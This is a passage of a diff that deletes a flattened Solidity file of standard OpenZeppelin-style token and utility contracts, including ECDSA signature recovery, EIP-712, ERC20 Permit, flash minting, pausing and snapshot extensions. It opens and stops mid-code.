-     * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
-     * for more information.
-     */
-    function getRoleMember(bytes32 role, uint256 index) public view override returns (address) {
-        return _roleMembers[role].at(index);
-    }
-
-    /**
-     * @dev Returns the number of accounts that have `role`. Can be used
-     * together with {getRoleMember} to enumerate all bearers of a role.
-     */
-    function getRoleMemberCount(bytes32 role) public view override returns (uint256) {
-        return _roleMembers[role].length();
-    }
-
-    /**
-     * @dev Overload {grantRole} to track enumerable memberships
-     */
-    function grantRole(bytes32 role, address account) public virtual override {
-        super.grantRole(role, account);
-        _roleMembers[role].add(account);
-    }
-
-    /**
-     * @dev Overload {revokeRole} to track enumerable memberships
-     */
-    function revokeRole(bytes32 role, address account) public virtual override {
-        super.revokeRole(role, account);
-        _roleMembers[role].remove(account);
-    }
-
-    /**
-     * @dev Overload {renounceRole} to track enumerable memberships
-     */
-    function renounceRole(bytes32 role, address account) public virtual override {
-        super.renounceRole(role, account);
-        _roleMembers[role].remove(account);
-    }
-
-    /**
-     * @dev Overload {_setupRole} to track enumerable memberships
-     */
-    function _setupRole(bytes32 role, address account) internal virtual override {
-        super._setupRole(role, account);
-        _roleMembers[role].add(account);
-    }
-}
-
-
-// File contracts/extensions/draft-IERC20Permit.sol
-
-
-
-
-
-/**
- * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
- * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
- *
- * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
- * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't
- * need to send a transaction, and thus is not required to hold Ether at all.
- */
-interface IERC20Permit {
-    /**
-     * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,
-     * given ``owner``'s signed approval.
-     *
-     * IMPORTANT: The same issues {IERC20-approve} has related to transaction
-     * ordering also apply here.
-     *
-     * Emits an {Approval} event.
-     *
-     * Requirements:
-     *
-     * - `spender` cannot be the zero address.
-     * - `deadline` must be a timestamp in the future.
-     * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
-     * over the EIP712-formatted function arguments.
-     * - the signature must use ``owner``'s current nonce (see {nonces}).
-     *
-     * For more information on the signature format, see the
-     * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
-     * section].
-     */
-    function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
-
-    /**
-     * @dev Returns the current nonce for `owner`. This value must be
-     * included whenever a signature is generated for {permit}.
-     *
-     * Every successful call to {permit} increases ``owner``'s nonce by one. This
-     * prevents a signature from being used multiple times.
-     */
-    function nonces(address owner) external view returns (uint256);
-
-    /**
-     * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.
-     */
-    // solhint-disable-next-line func-name-mixedcase
-    function DOMAIN_SEPARATOR() external view returns (bytes32);
-}
-
-
-// File contracts/utils/cryptography/ECDSA.sol
-
-
-
-
-
-/**
- * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
- *
- * These functions can be used to verify that a message was signed by the holder
- * of the private keys of a given address.
- */
-library ECDSA {
-    /**
-     * @dev Returns the address that signed a hashed message (`hash`) with
-     * `signature`. This address can then be used for verification purposes.
-     *
-     * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
-     * this function rejects them by requiring the `s` value to be in the lower
-     * half order, and the `v` value to be either 27 or 28.
-     *
-     * IMPORTANT: `hash` _must_ be the result of a hash operation for the
-     * verification to be secure: it is possible to craft signatures that
-     * recover to arbitrary addresses for non-hashed data. A safe way to ensure
-     * this is by receiving a hash of the original message (which may otherwise
-     * be too long), and then calling {toEthSignedMessageHash} on it.
-     *
-     * Documentation for signature generation:
-     * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
-     * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
-     */
-    function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
-        // Divide the signature in r, s and v variables
-        bytes32 r;
-        bytes32 s;
-        uint8 v;
-
-        // Check the signature length
-        // - case 65: r,s,v signature (standard)
-        // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
-        if (signature.length == 65) {
-            // ecrecover takes the signature parameters, and the only way to get them
-            // currently is to use assembly.
-            // solhint-disable-next-line no-inline-assembly
-            assembly {
-                r := mload(add(signature, 0x20))
-                s := mload(add(signature, 0x40))
-                v := byte(0, mload(add(signature, 0x60)))
-            }
-        } else if (signature.length == 64) {
-            // ecrecover takes the signature parameters, and the only way to get them
-            // currently is to use assembly.
-            // solhint-disable-next-line no-inline-assembly
-            assembly {
-                let vs := mload(add(signature, 0x40))
-                r := mload(add(signature, 0x20))
-                s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
-                v := add(shr(255, vs), 27)
-            }
-        } else {
-            revert("ECDSA: invalid signature length");
-        }
-
-        return recover(hash, v, r, s);
-    }
-
-    /**
-     * @dev Overload of {ECDSA-recover} that receives the `v`,
-     * `r` and `s` signature fields separately.
-     */
-    function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
-        // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
-        // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
-        // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
-        // signatures from current libraries generate a unique signature with an s-value in the lower half order.
-        //
-        // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
-        // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
-        // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
-        // these malleable signatures as well.
-        require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value");
-        require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");
-
-        // If the signature is valid (and not malleable), return the signer address
-        address signer = ecrecover(hash, v, r, s);
-        require(signer != address(0), "ECDSA: invalid signature");
-
-        return signer;
-    }
-
-    /**
-     * @dev Returns an Ethereum Signed Message, created from a `hash`. This
-     * produces hash corresponding to the one signed with the
-     * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
-     * JSON-RPC method as part of EIP-191.
-     *
-     * See {recover}.
-     */
-    function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
-        // 32 is the length in bytes of hash,
-        // enforced by the type signature above
-        return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
-    }
-
-    /**
-     * @dev Returns an Ethereum Signed Typed Data, created from a
-     * `domainSeparator` and a `structHash`. This produces hash corresponding
-     * to the one signed with the
-     * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
-     * JSON-RPC method as part of EIP-712.
-     *
-     * See {recover}.
-     */
-    function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
-        return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
-    }
-}
-
-
-// File contracts/utils/cryptography/draft-EIP712.sol
-
-
-
-
-
-/**
- * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
- *
- * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,
- * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding
- * they need in their contracts using a combination of `abi.encode` and `keccak256`.
- *
- * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
- * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
- * ({_hashTypedDataV4}).
- *
- * The implementation of the domain separator was designed to be as efficient as possible while still properly updating
- * the chain id to protect against replay attacks on an eventual fork of the chain.
- *
- * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
- * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
- *
- * _Available since v3.4._
- */
-abstract contract EIP712 {
-    /* solhint-disable var-name-mixedcase */
-    // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to
-    // invalidate the cached domain separator if the chain id changes.
-    bytes32 private immutable _CACHED_DOMAIN_SEPARATOR;
-    uint256 private immutable _CACHED_CHAIN_ID;
-
-    bytes32 private immutable _HASHED_NAME;
-    bytes32 private immutable _HASHED_VERSION;
-    bytes32 private immutable _TYPE_HASH;
-    /* solhint-enable var-name-mixedcase */
-
-    /**
-     * @dev Initializes the domain separator and parameter caches.
-     *
-     * The meaning of `name` and `version` is specified in
-     * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
-     *
-     * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
-     * - `version`: the current major version of the signing domain.
-     *
-     * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
-     * contract upgrade].
-     */
-    constructor(string memory name, string memory version) {
-        bytes32 hashedName = keccak256(bytes(name));
-        bytes32 hashedVersion = keccak256(bytes(version));
-        bytes32 typeHash = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
-        _HASHED_NAME = hashedName;
-        _HASHED_VERSION = hashedVersion;
-        _CACHED_CHAIN_ID = block.chainid;
-        _CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion);
-        _TYPE_HASH = typeHash;
-    }
-
-    /**
-     * @dev Returns the domain separator for the current chain.
-     */
-    function _domainSeparatorV4() internal view returns (bytes32) {
-        if (block.chainid == _CACHED_CHAIN_ID) {
-            return _CACHED_DOMAIN_SEPARATOR;
-        } else {
-            return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION);
-        }
-    }
-
-    function _buildDomainSeparator(bytes32 typeHash, bytes32 name, bytes32 version) private view returns (bytes32) {
-        return keccak256(
-            abi.encode(
-                typeHash,
-                name,
-                version,
-                block.chainid,
-                address(this)
-            )
-        );
-    }
-
-    /**
-     * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
-     * function returns the hash of the fully encoded EIP712 message for this domain.
-     *
-     * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
-     *
-     * ```solidity
-     * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
-     *     keccak256("Mail(address to,string contents)"),
-     *     mailTo,
-     *     keccak256(bytes(mailContents))
-     * )));
-     * address signer = ECDSA.recover(digest, signature);
-     * ```
-     */
-    function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
-        return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash);
-    }
-}
-
-
-// File contracts/utils/Counters.sol
-
-
-
-
-
-/**
- * @title Counters
- * @author Matt Condon (@shrugs)
- * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
- * of elements in a mapping, issuing ERC721 ids, or counting request ids.
- *
- * Include with `using Counters for Counters.Counter;`
- */
-library Counters {
-    struct Counter {
-        // This variable should never be directly accessed by users of the library: interactions must be restricted to
-        // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
-        // this feature: see https://github.com/ethereum/solidity/issues/4637
-        uint256 _value; // default: 0
-    }
-
-    function current(Counter storage counter) internal view returns (uint256) {
-        return counter._value;
-    }
-
-    function increment(Counter storage counter) internal {
-        unchecked {
-            counter._value += 1;
-        }
-    }
-
-    function decrement(Counter storage counter) internal {
-        uint256 value = counter._value;
-        require(value > 0, "Counter: decrement overflow");
-        unchecked {
-            counter._value = value - 1;
-        }
-    }
-
-    function reset(Counter storage counter) internal {
-        counter._value = 0;
-    }
-}
-
-
-// File contracts/extensions/draft-ERC20Permit.sol
-
-
-
-
-
-
-
-
-
-/**
- * @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
- * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
- *
- * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
- * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
- * need to send a transaction, and thus is not required to hold Ether at all.
- *
- * _Available since v3.4._
- */
-abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 {
-    using Counters for Counters.Counter;
-
-    mapping (address => Counters.Counter) private _nonces;
-
-    // solhint-disable-next-line var-name-mixedcase
-    bytes32 private immutable _PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
-
-    /**
-     * @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`.
-     *
-     * It's a good idea to use the same `name` that is defined as the ERC20 token name.
-     */
-    constructor(string memory name) EIP712(name, "1") {
-    }
-
-    /**
-     * @dev See {IERC20Permit-permit}.
-     */
-    function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public virtual override {
-        // solhint-disable-next-line not-rely-on-time
-        require(block.timestamp <= deadline, "ERC20Permit: expired deadline");
-
-        bytes32 structHash = keccak256(
-            abi.encode(
-                _PERMIT_TYPEHASH,
-                owner,
-                spender,
-                value,
-                _useNonce(owner),
-                deadline
-            )
-        );
-
-        bytes32 hash = _hashTypedDataV4(structHash);
-
-        address signer = ECDSA.recover(hash, v, r, s);
-        require(signer == owner, "ERC20Permit: invalid signature");
-
-        _approve(owner, spender, value);
-    }
-
-    /**
-     * @dev See {IERC20Permit-nonces}.
-     */
-    function nonces(address owner) public view virtual override returns (uint256) {
-        return _nonces[owner].current();
-    }
-
-    /**
-     * @dev See {IERC20Permit-DOMAIN_SEPARATOR}.
-     */
-    // solhint-disable-next-line func-name-mixedcase
-    function DOMAIN_SEPARATOR() external view override returns (bytes32) {
-        return _domainSeparatorV4();
-    }
-
-    /**
-     * @dev "Consume a nonce": return the current value and increment.
-     *
-     * _Available since v4.1._
-     */
-    function _useNonce(address owner) internal virtual returns (uint256 current) {
-        Counters.Counter storage nonce = _nonces[owner];
-        current = nonce.current();
-        nonce.increment();
-    }
-}
-
-
-// File contracts/extensions/ERC20Burnable.sol
-
-
-
-
-
-
-/**
- * @dev Extension of {ERC20} that allows token holders to destroy both their own
- * tokens and those that they have an allowance for, in a way that can be
- * recognized off-chain (via event analysis).
- */
-abstract contract ERC20Burnable is Context, ERC20 {
-    /**
-     * @dev Destroys `amount` tokens from the caller.
-     *
-     * See {ERC20-_burn}.
-     */
-    function burn(uint256 amount) public virtual {
-        _burn(_msgSender(), amount);
-    }
-
-    /**
-     * @dev Destroys `amount` tokens from `account`, deducting from the caller's
-     * allowance.
-     *
-     * See {ERC20-_burn} and {ERC20-allowance}.
-     *
-     * Requirements:
-     *
-     * - the caller must have allowance for ``accounts``'s tokens of at least
-     * `amount`.
-     */
-    function burnFrom(address account, uint256 amount) public virtual {
-        uint256 currentAllowance = allowance(account, _msgSender());
-        require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
-        unchecked {
-            _approve(account, _msgSender(), currentAllowance - amount);
-        }
-        _burn(account, amount);
-    }
-}
-
-
-// File contracts/extensions/ERC20Capped.sol
-
-
-
-
-
-/**
- * @dev Extension of {ERC20} that adds a cap to the supply of tokens.
- */
-abstract contract ERC20Capped is ERC20 {
-    uint256 immutable private _cap;
-
-    /**
-     * @dev Sets the value of the `cap`. This value is immutable, it can only be
-     * set once during construction.
-     */
-    constructor (uint256 cap_) {
-        require(cap_ > 0, "ERC20Capped: cap is 0");
-        _cap = cap_;
-    }
-
-    /**
-     * @dev Returns the cap on the token's total supply.
-     */
-    function cap() public view virtual returns (uint256) {
-        return _cap;
-    }
-
-    /**
-     * @dev See {ERC20-_mint}.
-     */
-    function _mint(address account, uint256 amount) internal virtual override {
-        require(ERC20.totalSupply() + amount <= cap(), "ERC20Capped: cap exceeded");
-        super._mint(account, amount);
-    }
-}
-
-
-// File contracts/extensions/IERC3156.sol
-
-
-
-
-
-/**
- * @dev Interface of the ERC3156 FlashBorrower, as defined in
- * https://eips.ethereum.org/EIPS/eip-3156[ERC-3156].
- *
- * _Available since v4.1._
- */
-interface IERC3156FlashBorrower {
-    /**
-     * @dev Receive a flash loan.
-     * @param initiator The initiator of the loan.
-     * @param token The loan currency.
-     * @param amount The amount of tokens lent.
-     * @param fee The additional amount of tokens to repay.
-     * @param data Arbitrary data structure, intended to contain user-defined parameters.
-     * @return The keccak256 hash of "ERC3156FlashBorrower.onFlashLoan"
-     */
-    function onFlashLoan(
-        address initiator,
-        address token,
-        uint256 amount,
-        uint256 fee,
-        bytes calldata data
-    ) external returns (bytes32);
-}
-
-/**
- * @dev Interface of the ERC3156 FlashLender, as defined in
- * https://eips.ethereum.org/EIPS/eip-3156[ERC-3156].
- */
-interface IERC3156FlashLender {
-    /**
-     * @dev The amount of currency available to be lended.
-     * @param token The loan currency.
-     * @return The amount of `token` that can be borrowed.
-     */
-    function maxFlashLoan(
-        address token
-    ) external view returns (uint256);
-
-    /**
-     * @dev The fee to be charged for a given loan.
-     * @param token The loan currency.
-     * @param amount The amount of tokens lent.
-     * @return The amount of `token` to be charged for the loan, on top of the returned principal.
-     */
-    function flashFee(
-        address token,
-        uint256 amount
-    ) external view returns (uint256);
-
-    /**
-     * @dev Initiate a flash loan.
-     * @param receiver The receiver of the tokens in the loan, and the receiver of the callback.
-     * @param token The loan currency.
-     * @param amount The amount of tokens lent.
-     * @param data Arbitrary data structure, intended to contain user-defined parameters.
-     */
-    function flashLoan(
-        IERC3156FlashBorrower receiver,
-        address token,
-        uint256 amount,
-        bytes calldata data
-    ) external returns (bool);
- }
-
-
-// File contracts/extensions/ERC20FlashMint.sol
-
-
-
-
-
-
-/**
- * @dev Implementation of the ERC3156 Flash loans extension, as defined in
- * https://eips.ethereum.org/EIPS/eip-3156[ERC-3156].
- *
- * Adds the {flashLoan} method, which provides flash loan support at the token
- * level. By default there is no fee, but this can be changed by overriding {flashFee}.
- *
- * _Available since v4.1._
- */
-abstract contract ERC20FlashMint is ERC20, IERC3156FlashLender {
-    bytes32 constant private RETURN_VALUE = keccak256("ERC3156FlashBorrower.onFlashLoan");
-
-    /**
-     * @dev Returns the maximum amount of tokens available for loan.
-     * @param token The address of the token that is requested.
-     * @return The amont of token that can be loaned.
-     */
-    function maxFlashLoan(address token) public view override returns (uint256) {
-        return token == address(this) ? type(uint256).max - ERC20.totalSupply() : 0;
-    }
-
-    /**
-     * @dev Returns the fee applied when doing flash loans. By default this
-     * implementation has 0 fees. This function can be overloaded to make
-     * the flash loan mechanism deflationary.
-     * @param token The token to be flash loaned.
-     * @param amount The amount of tokens to be loaned.
-     * @return The fees applied to the corresponding flash loan.
-     */
-    function flashFee(address token, uint256 amount) public view virtual override returns (uint256) {
-        require(token == address(this), "ERC20FlashMint: wrong token");
-        // silence warning about unused variable without the addition of bytecode.
-        amount;
-        return 0;
-    }
-
-    /**
-     * @dev Performs a flash loan. New tokens are minted and sent to the
-     * `receiver`, who is required to implement the {IERC3156FlashBorrower}
-     * interface. By the end of the flash loan, the receiver is expected to own
-     * amount + fee tokens and have them approved back to the token contract itself so
-     * they can be burned.
-     * @param receiver The receiver of the flash loan. Should implement the
-     * {IERC3156FlashBorrower.onFlashLoan} interface.
-     * @param token The token to be flash loaned. Only `address(this)` is
-     * supported.
-     * @param amount The amount of tokens to be loaned.
-     * @param data An arbitrary datafield that is passed to the receiver.
-     * @return `true` is the flash loan was successfull.
-     */
-    function flashLoan(
-        IERC3156FlashBorrower receiver,
-        address token,
-        uint256 amount,
-        bytes calldata data
-    )
-        public virtual override returns (bool)
-    {
-        uint256 fee = flashFee(token, amount);
-        _mint(address(receiver), amount);
-        require(receiver.onFlashLoan(msg.sender, token, amount, fee, data) == RETURN_VALUE, "ERC20FlashMint: invalid return value");
-        uint256 currentAllowance = allowance(address(receiver), address(this));
-        require(currentAllowance >= amount + fee, "ERC20FlashMint: allowance does not allow refund");
-        _approve(address(receiver), address(this), currentAllowance - amount - fee);
-        _burn(address(receiver), amount + fee);
-        return true;
-    }
-}
-
-
-// File contracts/extensions/Pausable.sol
-
-
-
-
-
-/**
- * @dev Contract module which allows children to implement an emergency stop
- * mechanism that can be triggered by an authorized account.
- *
- * This module is used through inheritance. It will make available the
- * modifiers `whenNotPaused` and `whenPaused`, which can be applied to
- * the functions of your contract. Note that they will not be pausable by
- * simply including this module, only once the modifiers are put in place.
- */
-abstract contract Pausable is Context {
-    /**
-     * @dev Emitted when the pause is triggered by `account`.
-     */
-    event Paused(address account);
-
-    /**
-     * @dev Emitted when the pause is lifted by `account`.
-     */
-    event Unpaused(address account);
-
-    bool private _paused;
-
-    /**
-     * @dev Initializes the contract in unpaused state.
-     */
-    constructor () {
-        _paused = false;
-    }
-
-    /**
-     * @dev Returns true if the contract is paused, and false otherwise.
-     */
-    function paused() public view virtual returns (bool) {
-        return _paused;
-    }
-
-    /**
-     * @dev Modifier to make a function callable only when the contract is not paused.
-     *
-     * Requirements:
-     *
-     * - The contract must not be paused.
-     */
-    modifier whenNotPaused() {
-        require(!paused(), "Pausable: paused");
-        _;
-    }
-
-    /**
-     * @dev Modifier to make a function callable only when the contract is paused.
-     *
-     * Requirements:
-     *
-     * - The contract must be paused.
-     */
-    modifier whenPaused() {
-        require(paused(), "Pausable: not paused");
-        _;
-    }
-
-    /**
-     * @dev Triggers stopped state.
-     *
-     * Requirements:
-     *
-     * - The contract must not be paused.
-     */
-    function _pause() internal virtual whenNotPaused {
-        _paused = true;
-        emit Paused(_msgSender());
-    }
-
-    /**
-     * @dev Returns to normal state.
-     *
-     * Requirements:
-     *
-     * - The contract must be paused.
-     */
-    function _unpause() internal virtual whenPaused {
-        _paused = false;
-        emit Unpaused(_msgSender());
-    }
-}
-
-
-// File contracts/extensions/ERC20Pausable.sol
-
-
-
-
-
-
-/**
- * @dev ERC20 token with pausable token transfers, minting and burning.
- *
- * Useful for scenarios such as preventing trades until the end of an evaluation
- * period, or having an emergency switch for freezing all token transfers in the
- * event of a large bug.
- */
-abstract contract ERC20Pausable is ERC20, Pausable {
-    /**
-     * @dev See {ERC20-_beforeTokenTransfer}.
-     *
-     * Requirements:
-     *
-     * - the contract must not be paused.
-     */
-    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
-        super._beforeTokenTransfer(from, to, amount);
-
-        require(!paused(), "ERC20Pausable: token transfer while paused");
-    }
-}
-
-
-// File contracts/utils/Math.sol
-
-
-
-
-
-/**
- * @dev Standard math utilities missing in the Solidity language.
- */
-library Math {
-    /**
-     * @dev Returns the largest of two numbers.
-     */
-    function max(uint256 a, uint256 b) internal pure returns (uint256) {
-        return a >= b ? a : b;
-    }
-
-    /**
-     * @dev Returns the smallest of two numbers.
-     */
-    function min(uint256 a, uint256 b) internal pure returns (uint256) {
-        return a < b ? a : b;
-    }
-
-    /**
-     * @dev Returns the average of two numbers. The result is rounded towards
-     * zero.
-     */
-    function average(uint256 a, uint256 b) internal pure returns (uint256) {
-        // (a + b) / 2 can overflow, so we distribute.
-        return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
-    }
-
-    /**
-     * @dev Returns the ceiling of the division of two numbers.
-     *
-     * This differs from standard division with `/` in that it rounds up instead
-     * of rounding down.
-     */
-    function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
-        // (a + b - 1) / b can overflow on addition, so we distribute.
-        return a / b + (a % b == 0 ? 0 : 1);
-    }
-}
-
-
-// File contracts/utils/Arrays.sol
-
-
-
-
-
-/**
- * @dev Collection of functions related to array types.
- */
-library Arrays {
-   /**
-     * @dev Searches a sorted `array` and returns the first index that contains
-     * a value greater or equal to `element`. If no such index exists (i.e. all
-     * values in the array are strictly less than `element`), the array length is
-     * returned. Time complexity O(log n).
-     *
-     * `array` is expected to be sorted in ascending order, and to contain no
-     * repeated elements.
-     */
-    function findUpperBound(uint256[] storage array, uint256 element) internal view returns (uint256) {
-        if (array.length == 0) {
-            return 0;
-        }
-
-        uint256 low = 0;
-        uint256 high = array.length;
-
-        while (low < high) {
-            uint256 mid = Math.average(low, high);
-
-            // Note that mid will always be strictly less than high (i.e. it will be a valid array index)
-            // because Math.average rounds down (it does integer division with truncation).
-            if (array[mid] > element) {
-                high = mid;
-            } else {
-                low = mid + 1;
-            }
-        }
-
-        // At this point `low` is the exclusive upper bound. We will return the inclusive upper bound.
-        if (low > 0 && array[low - 1] == element) {
-            return low - 1;
-        } else {
-            return low;
-        }
-    }
-}
-
-
-// File contracts/extensions/ERC20Snapshot.sol
-
-
-
-
-
-
-
-/**
- * @dev This contract extends an ERC20 token with a snapshot mechanism. When a snapshot is created, the balances and
- * total supply at the time are recorded for later access.
- *
- * This can be used to safely create mechanisms based on token balances such as trustless dividends or weighted voting.
- * In naive implementations it's possible to perform a "double spend" attack by reusing the same balance from different
- * accounts. By using snapshots to calculate dividends or voting power, those attacks no longer apply. It can also be
- * used to create an efficient ERC20 forking mechanism.
- *
- * Snapshots are created by the internal {_snapshot} function, which will emit the {Snapshot} event and return a
- * snapshot id. To get the total supply at the time of a snapshot, call the function {totalSupplyAt} with the snapshot
- * id. To get the balance of an account at the time of a snapshot, call the {balanceOfAt} function with the snapshot id
- * and the account address.
- *
- * NOTE: Snapshot policy can be customized by overriding the {_getCurrentSnapshotId} method. For example, having it
- * return `block.number` will trigger the creation of snapshot at the begining of each new block. When overridding this
- * function, be careful about the monotonicity of its result. Non-monotonic snapshot ids will break the contract.
- *
- * Implementing snapshots for every block using this method will incur significant gas costs. For a gas-efficient
- * alternative consider {ERC20Votes}.
- *
- * ==== Gas Costs
- *
- * Snapshots are efficient. Snapshot creation is _O(1)_. Retrieval of balances or total supply from a snapshot is _O(log
- * n)_ in the number of snapshots that have been created, although _n_ for a specific account will generally be much
- * smaller since identical balances in subsequent snapshots are stored as a single entry.
- *
- * There is a constant overhead for normal ERC20 transfers due to the additional snapshot bookkeeping. This overhead is
- * only significant for the first transfer that immediately follows a snapshot for a particular account. Subsequent
- * transfers will have normal cost until the next snapshot, and so on.
- */
-
-abstract contract ERC20Snapshot is ERC20 {
-    // Inspired by Jordi Baylina's MiniMeToken to record historical balances:
-    // https://github.com/Giveth/minimd/blob/ea04d950eea153a04c51fa510b068b9dded390cb/contracts/MiniMeToken.sol
-
-    using Arrays for uint256[];
-    using Counters for Counters.Counter;
-
-    // Snapshotted values have arrays of ids and the value corresponding to that id. These could be an array of a
-    // Snapshot struct, but that would impede usage of functions that work on an array.
-    struct Snapshots {
-        uint256[] ids;
-        uint256[] values;
-    }
-
-    mapping (address => Snapshots) private _accountBalanceSnapshots;
-    Snapshots private _totalSupplySnapshots;
-
-    // Snapshot ids increase monotonically, with the first value being 1. An id of 0 is invalid.
-    Counters.Counter private _currentSnapshotId;
-
-    /**
-     * @dev Emitted by {_snapshot} when a snapshot identified by `id` is created.
-     */
-    event Snapshot(uint256 id);
-
-    /**
-     * @dev Creates a new snapshot and returns its snapshot id.
-     *
-     * Emits a {Snapshot} event that contains the same id.
-     *
-     * {_snapshot} is `internal` and you have to decide how to expose it externally. Its usage may be restricted to a
-     * set of accounts, for example using {AccessControl}, or it may be open to the public.
-     *
-     * [WARNING]
-     * ====
-     * While an open way of calling {_snapshot} is required for certain trust minimization mechanisms such as forking,
-     * you must consider that it can potentially be used by attackers in two ways.
-     *
-     * First, it can be used to increase the cost of retrieval of values from snapshots, although it will grow
-     * logarithmically thus rendering this attack ineffective in the long term. Second, it can be used to target
-     * specific accounts and increase the cost of ERC20 transfers for them, in the ways specified in the Gas Costs
-     * section above.
-     *
-     * We haven't measured the actual numbers; if this is something you're interested in please reach out to us.
-     * ====
-     */
-    function _snapshot() internal virtual returns (uint256) {
-        _currentSnapshotId.increment();
-
-        uint256 currentId = _getCurrentSnapshotId();
-        emit Snapshot(currentId);
-        return currentId;
-    }
-
-    /**
-     * @dev Get the current snapshotId
-     */
-    function _getCurrentSnapshotId() internal view virtual returns (uint256) {
-        return _currentSnapshotId.current();
-    }
-
-    /**
-     * @dev Retrieves the balance of `account` at the time `snapshotId` was created.
-     */
-    function balanceOfAt(address account, uint256 snapshotId) public view virtual returns (uint256) {
-        (bool snapshotted, uint256 value) = _valueAt(snapshotId, _accountBalanceSnapshots[account]);
-
-        return snapshotted ? value : balanceOf(account);
-    }
-
-    /**
-     * @dev Retrieves the total supply at the time `snapshotId` was created.
-     */
-    function totalSupplyAt(uint256 snapshotId) public view virtual returns(uint256) {
-        (bool snapshotted, uint256 value) = _valueAt(snapshotId, _totalSupplySnapshots);
-
-        return snapshotted ? value : totalSupply();
-    }
-
-    // Update balance and/or total supply snapshots before the values are modified. This is implemented
-    // in the _beforeTokenTransfer hook, which is executed for _mint, _burn, and _transfer operations.
-    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
-      super._beforeTokenTransfer(from, to, amount);
-
-      if (from == address(0)) {
-        // mint
-        _updateAccountSnapshot(to);
-        _updateTotalSupplySnapshot();
-      } else if (to == address(0)) {
-        // burn
-        _updateAccountSnapshot(from);
-        _updateTotalSupplySnapshot();
-      } else {
-        // transfer
-        _updateAccountSnapshot(from);
-        _updateAccountSnapshot(to);
-      }
-    }
-
-    function _valueAt(uint256 snapshotId, Snapshots storage snapshots)
-        private view returns (bool, uint256)
-    {
-        require(snapshotId > 0, "ERC20Snapshot: id is 0");
-        require(snapshotId <= _getCurrentSnapshotId(), "ERC20Snapshot: nonexistent id");
-
-        // When a valid snapshot is queried, there are three possibilities:
